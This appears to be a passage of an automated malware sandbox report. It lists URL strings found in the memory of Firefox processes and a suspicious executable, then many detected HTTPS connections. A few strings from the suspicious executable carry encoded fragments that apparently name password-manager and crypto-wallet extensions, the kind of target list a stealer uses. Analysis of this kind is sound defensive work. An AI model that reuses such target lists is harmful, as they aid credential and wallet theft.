Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2220456983.000001F3FEF4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2218571898.000001F3FED00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2228882591.000001F3FEF87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeaupdateFromRemoteSettings/p
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceXPIProvider
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2496833578.000001F40043C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2228882591.000001F3FEF87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2267867891.000001F4004E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400ED2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/searchLOAD_DOCUMENT_NEEDS_COOKIEget
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googletagmanager.com
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.instagram.com/
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 0000001C.00000002.2744297021.000001F3FF8BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2593833756.000001F3EF58F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: firefox.exe, 0000001C.00000002.2772231477.000001F401EAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: cda9e1cbbc.exe, 00000013.00000003.2374024428.0000000022E8A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/resource://gre/modules/Sqlite.sys.mjsresource://gre/modules/AppU
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FAC51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: cda9e1cbbc.exe, 00000013.00000003.2374024428.0000000022E8A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF58F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org0P
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2292032711.000001F401EE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADD4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/aInstanceID
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001C.00000002.2764269512.000001F4018E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC4FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2765179427.000001F40190C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754098270.000001F4004BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB575000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF723000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2593833756.000001F3EF50D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760099219.000001F401203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FAD7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B403000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435363573.000001F4017D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2587849657.000001F3EF300000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F4017CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2765179427.000001F40190C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB5F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB575000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC434000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40136F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FAC51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2536648453.0000020BC8320000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2536648453.0000020BC832A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 0000001B.00000002.2208668139.0000020E12240000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/account--attempting-deelevation
Source: firefox.exe, 0000001C.00000002.2587849657.000001F3EF2F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountC:
Source: firefox.exe, 00000019.00000002.2166956297.0000027667459000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountIO
Source: firefox.exe, 0000001C.00000002.2738377059.000001F3FF2DD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2536648453.0000020BC8320000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2557581882.0000020BC8710000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2557581882.0000020BC8714000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2557836360.0000021F9B580000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2557836360.0000021F9B584000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2533978892.0000021F9B190000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
Source: firefox.exe, 00000019.00000002.2185548634.0000027667482000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143827481.0000027667480000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143690714.000002766746D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMA
Source: firefox.exe, 00000019.00000002.2188686956.00000276676D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143827481.0000027667480000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2166956297.0000027667450000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143690714.000002766746D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354375210.000001C7575D4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354375210.000001C7575D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354149245.000001C757250000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountapp.update.lastUpdateTime.%ID%
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accounthttps://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f0
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://www.youtube.com/accountmoc.ebutuoy.www.
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountp
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/accountservices.sync.log.logger.browsertoolkit/branding/accounts.ftlsendTabC
Source: firefox.exe, 0000001C.00000003.2430591232.000001F401A6F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.commenu-bookmarks-mobile
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001C.00000003.2432050956.000001F40195E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435363573.000001F4017D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F4017CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2383402901.000001F401955000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001C.00000003.2435041713.000001F40185A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB2A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2772231477.000001F401E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764269512.000001F40185A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB60000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.comhighValueCOOP
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49221
Source: unknown Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49207 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49199 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49233 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49238 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49208
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49207
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49206
Source: unknown Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49202
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49200
Source: unknown Network traffic detected: HTTP traffic on port 49834 -> 443
